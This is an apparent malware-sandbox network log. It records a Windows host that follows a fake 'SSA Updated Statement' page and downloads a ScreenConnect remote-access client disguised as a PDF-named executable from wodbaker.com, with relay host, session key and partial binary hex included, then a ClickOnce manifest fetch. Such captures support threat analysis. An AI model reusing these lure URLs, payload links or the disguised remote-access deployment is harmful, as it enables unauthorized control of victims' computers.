2024-11-22 22:00:09 UTC	1244	OUT	GET /Bin/performance_metrics-pdf.Client.exe?h=instance-w08c5r-relay.screenconnect.com&p=443&k=BgIAAACkAABSU0ExAAgAAAEAAQBtb%2FXciCJO5hHyAR3NG5qwkHgKE4K5jxeGBs35Nlncjh1l6g%2B23I88rvlqmL%2FU%2BHDK35q63nY%2BZ%2BacGdqbEGbCs9%2BC5ELjJTyrUFEL0gVqegeArzyszYoIS4ijuI8mGGKzW9tytW5tQhqCPuQeWdSbe0f0ttBWIUk6MfP0L7WpImwpbDzvxtmyMWSxZ8JZg39F6e1w8cQHzLH0aqJX9uvQgIvogbJB0mFXWURVi9ErahW%2BwkXWptsr99acbACeWvHhej11zT9ZPHMMaluuXTiYnS06xPJTJZglT5hvMbl15uReewBWhhwiEVa2S%2BD%2BCQEQGLsz1dpJNd543dQllUPh&s=bc9a796e-2e89-48ba-9484-932c800a4c34&i=&e=Support&y=Guest&r= HTTP/1.1 Host: wodbaker.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://identitys.fraudguard.es/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 22:00:09 UTC	378	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 83280 Content-Type: application/octet-stream Server: Microsoft-HTTPAPI/2.0 X-Robots-Tag: noindex X-Content-Type-Options: nosniff Content-Disposition: inline; filename="performance_metrics-pdf.Client.exe"; filename*=UTF-8''performance_metrics-pdf.Client.exe Date: Fri, 22 Nov 2024 22:00:09 GMT Connection: close
2024-11-22 22:00:09 UTC	16006	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 79 63 49 64 18 0d 1a 64 18 0d 1a 64 18 0d 1a d0 84 fc 1a 6e 18 0d 1a d0 84 fe 1a 1e 18 0d 1a d0 84 ff 1a 7c 18 0d 1a a6 99 08 1b 41 18 0d 1a a6 99 09 1b 76 18 0d 1a a6 99 0e 1b 76 18 0d 1a 6d 60 9e 1a 61 18 0d 1a 64 18 0c 1a 05 18 0d 1a 97 9a 05 1b 65 18 0d 1a 97 9a f2 1a 65 18 0d 1a 97 9a 0f 1b 65 18 0d 1a 52 69 63 68 64 18 0d 1a 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ycIdddn\|Avvm`adeeeRichdPEL
2024-11-22 22:00:09 UTC	16384	IN	Data Raw: f0 59 59 85 ff 74 12 57 ff 75 0c 53 56 e8 23 2f 00 00 83 c4 10 85 c0 75 35 ff 75 fc 2b df 8d 04 3e ff 75 08 53 50 e8 0a 2f 00 00 83 c4 10 85 c0 75 1c 8b 4d 14 56 e8 c9 01 00 00 6a 00 8b f0 e8 9f fd ff ff 59 8b c6 5e 5b 5f 8b e5 5d c3 33 c0 50 50 50 50 50 e8 6d fc ff ff cc 8b ff 55 8b ec 81 ec 50 01 00 00 a1 00 10 41 00 33 c5 89 45 fc 8b 4d 0c 53 8b 5d 08 56 8b 75 10 57 89 b5 b8 fe ff ff eb 19 8a 01 3c 2f 74 17 3c 5c 74 13 3c 3a 74 0f 51 53 e8 f1 2e 00 00 59 59 8b c8 3b cb 75 e3 8a 11 80 fa 3a 75 17 8d 43 01 3b c8 74 10 56 33 ff 57 57 53 e8 0b ff ff ff 83 c4 10 eb 7a 33 ff 80 fa 2f 74 0e 80 fa 5c 74 09 80 fa 3a 74 04 8b c7 eb 03 33 c0 40 0f b6 c0 2b cb 41 f7 d8 68 40 01 00 00 1b c0 23 c1 89 85 b4 fe ff ff 8d 85 bc fe ff ff 57 50 e8 2f d5 ff ff 83 c4 0c 8d Data Ascii: YYtWuSV#/u5u+>uSP/uMVjY^[_]3PPPPPmUPA3EMS]VuW</t<\t<:tQS.YY;u:uC;tV3WWSz3/t\t:t3@+Ah@#WP/
2024-11-22 22:00:10 UTC	16384	IN	Data Raw: bc ff ff 83 c8 ff e8 2f 91 ff ff c3 8b ff 55 8b ec 83 ec 30 a1 00 10 41 00 33 c5 89 45 fc 8b 4d 10 89 4d f8 56 8b 75 08 57 8b 7d 0c 89 7d d0 85 c9 75 07 33 c0 e9 ce 01 00 00 85 ff 75 1f e8 1d bd ff ff 21 38 e8 29 bd ff ff c7 00 16 00 00 00 e8 62 bc ff ff 83 c8 ff e9 ab 01 00 00 53 8b c6 8b de c1 fb 06 83 e0 3f 6b d0 30 89 5d e4 8b 04 9d 78 1f 41 00 89 45 d4 89 55 e8 8a 5c 10 29 80 fb 02 74 05 80 fb 01 75 28 8b c1 f7 d0 a8 01 75 1d e8 ca bc ff ff 83 20 00 e8 d5 bc ff ff c7 00 16 00 00 00 e8 0e bc ff ff e9 51 01 00 00 8b 45 d4 f6 44 10 28 20 74 0f 6a 02 6a 00 6a 00 56 e8 41 04 00 00 83 c4 10 56 e8 e4 fa ff ff 59 84 c0 74 39 84 db 74 22 fe cb 80 fb 01 0f 87 ee 00 00 00 ff 75 f8 8d 45 ec 57 50 e8 56 fa ff ff 83 c4 0c 8b f0 e9 9c 00 00 00 ff 75 f8 8d 45 ec 57 Data Ascii: /U0A3EMMVuW}}u3u!8)bS?k0]xAEU\)tu(u QED( tjjjVAVYt9t"uEWPVuEW
2024-11-22 22:00:10 UTC	16384	IN	Data Raw: 73 73 00 00 00 00 53 00 75 00 6e 00 00 00 4d 00 6f 00 6e 00 00 00 54 00 75 00 65 00 00 00 57 00 65 00 64 00 00 00 54 00 68 00 75 00 00 00 46 00 72 00 69 00 00 00 53 00 61 00 74 00 00 00 53 00 75 00 6e 00 64 00 61 00 79 00 00 00 00 00 4d 00 6f 00 6e 00 64 00 61 00 79 00 00 00 00 00 54 00 75 00 65 00 73 00 64 00 61 00 79 00 00 00 57 00 65 00 64 00 6e 00 65 00 73 00 64 00 61 00 79 00 00 00 54 00 68 00 75 00 72 00 73 00 64 00 61 00 79 00 00 00 00 00 46 00 72 00 69 00 64 00 61 00 79 00 00 00 00 00 53 00 61 00 74 00 75 00 72 00 64 00 61 00 79 00 00 00 00 00 4a 00 61 00 6e 00 00 00 46 00 65 00 62 00 00 00 4d 00 61 00 72 00 00 00 41 00 70 00 72 00 00 00 4d 00 61 00 79 00 00 00 4a 00 75 00 6e 00 00 00 4a 00 75 00 6c 00 00 00 41 00 75 00 67 00 00 00 53 00 65 00 70 Data Ascii: ssSunMonTueWedThuFriSatSundayMondayTuesdayWednesdayThursdayFridaySaturdayJanFebMarAprMayJunJulAugSep
2024-11-22 22:00:10 UTC	16384	IN	Data Raw: 53 65 74 53 74 64 48 61 6e 64 6c 65 00 00 f3 01 47 65 74 46 69 6c 65 54 79 70 65 00 69 02 47 65 74 53 74 72 69 6e 67 54 79 70 65 57 00 00 4a 02 47 65 74 50 72 6f 63 65 73 73 48 65 61 70 00 00 d4 02 48 65 61 70 53 69 7a 65 00 00 d2 02 48 65 61 70 52 65 41 6c 6c 6f 63 00 57 01 46 6c 75 73 68 46 69 6c 65 42 75 66 66 65 72 73 00 00 9a 01 47 65 74 43 6f 6e 73 6f 6c 65 43 50 00 00 ac 01 47 65 74 43 6f 6e 73 6f 6c 65 4d 6f 64 65 00 00 67 04 53 65 74 46 69 6c 65 50 6f 69 6e 74 65 72 45 78 00 00 24 05 57 72 69 74 65 43 6f 6e 73 6f 6c 65 57 00 ca 00 44 65 63 6f 64 65 50 6f 69 6e 74 65 72 00 8f 00 43 72 65 61 74 65 46 69 6c 65 57 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: SetStdHandleGetFileTypeiGetStringTypeWJGetProcessHeapHeapSizeHeapReAllocWFlushFileBuffersGetConsoleCPGetConsoleModegSetFilePointerEx$WriteConsoleWDecodePointerCreateFileW
2024-11-22 22:00:10 UTC	1738	IN	Data Raw: 85 ee 62 db d2 3e 7b e4 f6 71 48 50 87 24 d5 86 5b 45 30 2f 06 09 2a 86 48 86 f7 0d 01 09 04 31 22 04 20 90 43 79 40 19 0d 98 a0 a3 a1 4c 8a c5 1d 79 8a 24 2f 56 d7 cf 5c a3 c4 7e 2c bb 78 e3 70 ae c2 30 37 06 0b 2a 86 48 86 f7 0d 01 09 10 02 2f 31 28 30 26 30 24 30 22 04 20 76 76 9f a8 f2 63 2f 1f 43 0b 3a 23 30 ae d6 56 75 fe d7 73 db 05 d6 65 b9 05 93 98 43 8f 9a db 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 04 82 02 00 96 18 87 b0 b6 00 1a 3c 38 c0 e8 9f be 7b bf b0 5a 82 4b 1a 81 38 49 0d 43 e8 75 18 07 01 b6 bc c3 de 73 89 90 18 ad 32 47 14 04 86 d5 2f 8d 62 e0 98 6d 18 2d c7 b3 24 4a b0 b8 25 d8 e0 ce 0a d8 57 e5 bb cb 8e fb c8 23 56 1c e9 46 53 09 ea 59 07 eb 1a fe a5 e9 2c 00 33 07 28 16 75 e5 96 75 eb c3 bf 26 c2 f5 4d 3b ed 6f e8 ed ea 77 ba Data Ascii: b>{qHP$[E0/H1" Cy@Ly$/V\~,xp07H/1(0&0$0" vvc/C:#0VuseC0*H<8{ZK8ICus2G/bm-$J%W#VFSY,3(uu&M;ow

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.16	49757	172.67.218.103	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:00:12 UTC	1468	OUT	GET /favicon.ico HTTP/1.1 Host: identitys.fraudguard.es Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://identitys.fraudguard.es/SSA_Updated_Statement/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=vaH0AjYY24C_YbWAU2H696i49KpvtfYtW.WH0aNbYIM-1732312771-1.2.1.1-PYxquHvmowOgTLwsFdiVvnfGjc9XQZV3_lVDGMzReGQzPt2iYB9QJ7y6PW9T6R3Mo5kJ2NZIgxpPj6ycbT9A6Gshx3n3fbO2.hqnzlfXM9Bld3rI6QbtTD085QGVnqfaBFWWCcqY.txgIpO.ngARw9Plr7kR9jN9QrgDlMcn8RvDJx8pG1Prk9GzaZaL9p0ZbYZW3rfqsGbjLtb3frTop7LvI_r6HemgJe6PcDILCtWlLFlK7CdOcrBg4pqb63IXm.RHjZrcN3YwAJQSsO6BQ_ZKFCyCZwhmtKesWVt6dIRIXKiConbuO7PmIflD3c3Qy2ulbW7h2UYCtmBXEIJruTf.OGdCTmgvvjyjT.xm6kWpbgJOIQA2XkjO8Xf55sBdM6W.3mmUk5KCQ3Ahrd0x6TErh3Y2XDqS3JLmmNxyNIOeNBRcKQN9oisNDuKyiavg; PHPSESSID=t8e57uod4fhioib6ap4mln8lcr
2024-11-22 22:00:13 UTC	876	IN	HTTP/1.1 404 Not Found Date: Fri, 22 Nov 2024 22:00:12 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: accept-language,accept-charset Content-Language: en Cache-Control: max-age=14400 CF-Cache-Status: EXPIRED Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1rkrcL5WY%2BvhcOWqv%2F0jaSAbpYrkQJkPcFJBYzVUGfxV7AXW4k0PDHW2WZDMJEbipvkmhxfz5w0rgW5fUerdFt3k7Vw8bIizdw%2BVGz8BFtlnwg14LjPKwTM3jWPFnMGWABOTkBS7wD8%2Fbg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e6c30e6dd3fc445-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1576&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2830&recv_bytes=2046&delivery_rate=1784841&cwnd=227&unsent_bytes=0&cid=c4a0b93c9f0560b8&ts=755&x=0"
2024-11-22 22:00:13 UTC	493	IN	Data Raw: 35 37 64 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 0d 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6e 6f 74 20 66 Data Ascii: 57d<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"><head><title>Object not f
2024-11-22 22:00:13 UTC	919	IN	Data Raw: 20 33 65 6d 3b 7d 0d 0a 20 20 20 20 73 70 61 6e 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 73 6d 61 6c 6c 65 72 3b 7d 0d 0a 2f 2a 5d 5d 3e 2a 2f 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 68 31 3e 0d 0a 3c 70 3e 0d 0a 0d 0a 0d 0a 20 20 20 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0d 0a 0d 0a 20 20 0d 0a 0d 0a 20 20 20 20 54 68 65 20 6c 69 6e 6b 20 6f 6e 20 74 68 65 0d 0a 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 64 65 6e 74 69 74 79 73 2e 66 72 61 75 64 67 75 61 72 64 2e 65 73 2f 53 53 41 5f 55 70 64 61 74 65 64 5f Data Ascii: 3em;} span {font-size: smaller;}/.../--></style></head><body><h1>Object not found!</h1><p> The requested URL was not found on this server. The link on the <a href="https://identitys.fraudguard.es/SSA_Updated_
2024-11-22 22:00:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.16	49758	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:00:20 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=NaaTFGLBoe8uReC&MD=opLzswZg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-22 22:00:21 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: ce709d0a-21a6-44ff-895a-f364ebbd73f9 MS-RequestId: 045216e6-2f09-4155-8262-153d52c84033 MS-CV: zpycNucTfkyIOlVZ.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 22 Nov 2024 22:00:21 GMT Connection: close Content-Length: 30005
2024-11-22 22:00:21 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-22 22:00:21 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.16	49759	217.77.14.110	443	1228	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:00:24 UTC	589	OUT	GET /Bin/ScreenConnect.Client.application?e=Support&y=Guest&h=wodbaker.com&p=8041&s=bc9a796e-2e89-48ba-9484-932c800a4c34&k=BgIAAACkAABSU0ExAAgAAAEAAQCRGfsKd924pjxFZ918B6raAuzUhh5FRZhLBgw%2bjJvsUYth71ehs3TgTqQM6PaX8eVkNGvUMxXG8Iwo3Yod6K6CobzQt7EZ1AAlkXL%2bYOmS9DFgVHpzbpUxfWLxXMZq%2bQd9sOoPpcLYYxLruC0ToReOWtRBa2ElcElIUaUlpGygd25GSnI9gBPIvT10hqUxGb9KOXyXhmMPqp8G4aAKziDVZc9ssP5Xr3q4ueMlULXSCl55xqO4qcrk7mXl5XCBi8meKGjyhnfBJkvYAuPD%2fCQhUFp%2fXDZu3Z2doFFbLgsflcEbGBkAHXo6m08VI%2bzm9rxMremukCyoqbKO9p7HTfW7&r=&i= HTTP/1.1 Host: wodbaker.com Accept-Encoding: gzip Connection: Keep-Alive
2024-11-22 22:00:25 UTC	269	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 117161 Content-Type: application/x-ms-application; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 X-Robots-Tag: noindex X-Content-Type-Options: nosniff Date: Fri, 22 Nov 2024 22:00:24 GMT Connection: close
2024-11-22 22:00:25 UTC	16115	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 61 73 6d 76 31 3a 61 73 73 65 6d 62 6c 79 20 78 73 69 3a 73 63 68 65 6d 61 4c 6f 63 61 74 69 6f 6e 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 6d 69 63 72 6f 73 6f 66 74 2d 63 6f 6d 3a 61 73 6d 2e 76 31 20 61 73 73 65 6d 62 6c 79 2e 61 64 61 70 74 69 76 65 2e 78 73 64 22 20 6d 61 6e 69 66 65 73 74 56 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 78 6d 6c 6e 73 3a 61 73 6d 76 31 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 6d 69 63 72 6f 73 6f 66 74 2d 63 6f 6d 3a 61 73 6d 2e 76 31 22 20 78 6d 6c 6e 73 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 6d 69 63 72 6f 73 6f 66 74 2d 63 6f 6d 3a 61 73 6d 2e 76 32 22 20 78 6d 6c 6e 73 3a 61 73 6d 76 32 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><asmv1:assembly xsi:schemaLocation="urn:schemas-microsoft-com:asm.v1 assembly.adaptive.xsd" manifestVersion="1.0" xmlns:asmv1="urn:schemas-microsoft-com:asm.v1" xmlns="urn:schemas-microsoft-com:asm.v2" xmlns:asmv2=
2024-11-22 22:00:25 UTC	16384	IN	Data Raw: 62 67 67 38 54 52 50 49 50 55 6c 52 38 45 41 47 6c 69 52 47 38 79 66 59 52 6f 64 77 71 45 6c 46 44 4c 68 4b 54 47 45 6b 53 6b 48 75 45 45 6c 4f 31 6d 42 49 59 67 77 51 54 4d 39 72 37 45 35 69 6e 4a 52 53 58 55 49 59 55 79 31 33 46 46 43 58 6b 4e 52 56 67 42 49 49 56 64 59 61 51 46 57 34 36 48 68 59 43 77 4a 63 57 48 61 72 43 46 67 30 41 33 42 5a 69 6a 54 45 5a 37 35 39 53 47 39 4a 2f 42 78 37 6a 76 49 67 65 76 55 2b 52 48 6d 39 47 32 52 37 6f 79 66 6f 65 77 58 79 75 48 77 39 4f 45 53 42 36 7a 43 6f 67 4a 72 39 62 49 45 39 4b 4f 79 46 4a 6c 31 59 68 45 58 59 63 49 74 50 52 58 43 4c 58 66 4a 4d 69 37 52 32 79 49 75 4c 43 75 53 4b 59 33 42 51 6a 4e 43 7a 2b 49 2f 2b 4a 57 79 52 67 6f 57 67 6b 77 6a 5a 75 4a 47 48 4c 62 69 51 6a 30 32 38 6b 68 48 35 7a 4a 4c Data Ascii: bgg8TRPIPUlR8EAGliRG8yfYRodwqElFDLhKTGEkSkHuEElO1mBIYgwQTM9r7E5inJRSXUIYUy13FFCXkNRVgBIIVdYaQFW46HhYCwJcWHarCFg0A3BZijTEZ759SG9J/Bx7jvIgevU+RHm9G2R7oyfoewXyuHw9OESB6zCogJr9bIE9KOyFJl1YhEXYcItPRXCLXfJMi7R2yIuLCuSKY3BQjNCz+I/+JWyRgoWgkwjZuJGHLbiQj028khH5zJL
2024-11-22 22:00:25 UTC	16384	IN	Data Raw: 41 62 77 42 73 41 46 41 41 59 51 42 75 41 47 55 41 62 41 42 4e 41 47 45 41 62 67 42 68 41 47 63 41 5a 51 42 44 41 48 49 41 5a 51 42 6b 41 47 55 41 62 67 42 30 41 47 6b 41 59 51 42 73 41 48 4d 41 52 41 42 6c 41 48 4d 41 59 77 42 79 41 47 6b 41 63 41 42 30 41 47 6b 41 62 77 42 75 41 43 49 4e 41 41 42 45 51 77 42 76 41 47 34 41 64 41 42 79 41 47 38 41 62 41 42 51 41 47 45 41 62 67 42 6c 41 47 77 41 54 51 42 68 41 47 34 41 59 51 42 6e 41 47 55 41 51 77 42 79 41 47 55 41 5a 41 42 6c 41 47 34 41 64 41 42 70 41 47 45 41 62 41 42 7a 41 46 51 41 61 51 42 30 41 47 77 41 5a 51 42 5a 44 51 41 41 54 45 4d 41 62 77 42 75 41 48 51 41 63 67 42 76 41 47 77 41 55 41 42 68 41 47 34 41 5a 51 42 73 41 45 30 41 59 51 42 75 41 47 45 41 5a 77 42 6c 41 46 41 41 5a 51 42 79 41 48 Data Ascii: AbwBsAFAAYQBuAGUAbABNAGEAbgBhAGcAZQBDAHIAZQBkAGUAbgB0AGkAYQBsAHMARABlAHMAYwByAGkAcAB0AGkAbwBuACINAABEQwBvAG4AdAByAG8AbABQAGEAbgBlAGwATQBhAG4AYQBnAGUAQwByAGUAZABlAG4AdABpAGEAbABzAFQAaQB0AGwAZQBZDQAATEMAbwBuAHQAcgBvAGwAUABhAG4AZQBsAE0AYQBuAGEAZwBlAFAAZQByAH
2024-11-22 22:00:25 UTC	16384	IN	Data Raw: 41 61 51 42 73 41 47 6b 41 64 41 42 35 41 46 41 41 5a 51 42 79 41 47 30 41 61 51 42 7a 41 48 4d 41 61 51 42 76 41 47 34 41 63 77 42 45 41 47 6b 41 59 51 42 73 41 47 38 41 5a 77 42 55 41 47 55 41 65 41 42 30 41 45 4d 41 62 77 42 75 41 48 51 41 5a 51 42 75 41 48 51 41 52 67 42 76 41 48 49 41 62 51 42 68 41 48 51 41 65 79 30 41 41 45 35 4e 41 47 45 41 59 77 42 4a 41 47 34 41 63 77 42 30 41 48 49 41 64 51 42 6a 41 48 51 41 61 51 42 76 41 47 34 41 59 51 42 73 41 45 51 41 61 51 42 68 41 47 77 41 62 77 42 6e 41 45 51 41 61 51 42 7a 41 47 30 41 61 51 42 7a 41 48 4d 41 51 67 42 31 41 48 51 41 64 41 42 76 41 47 34 41 56 41 42 6c 41 48 67 41 64 41 43 4b 4d 51 41 41 51 6b 30 41 59 51 42 6a 41 46 49 41 5a 51 42 70 41 47 34 41 63 77 42 30 41 47 45 41 62 41 42 73 41 46 Data Ascii: AaQBsAGkAdAB5AFAAZQByAG0AaQBzAHMAaQBvAG4AcwBEAGkAYQBsAG8AZwBUAGUAeAB0AEMAbwBuAHQAZQBuAHQARgBvAHIAbQBhAHQAey0AAE5NAGEAYwBJAG4AcwB0AHIAdQBjAHQAaQBvAG4AYQBsAEQAaQBhAGwAbwBnAEQAaQBzAG0AaQBzAHMAQgB1AHQAdABvAG4AVABlAHgAdACKMQAAQk0AYQBjAFIAZQBpAG4AcwB0AGEAbABsAF
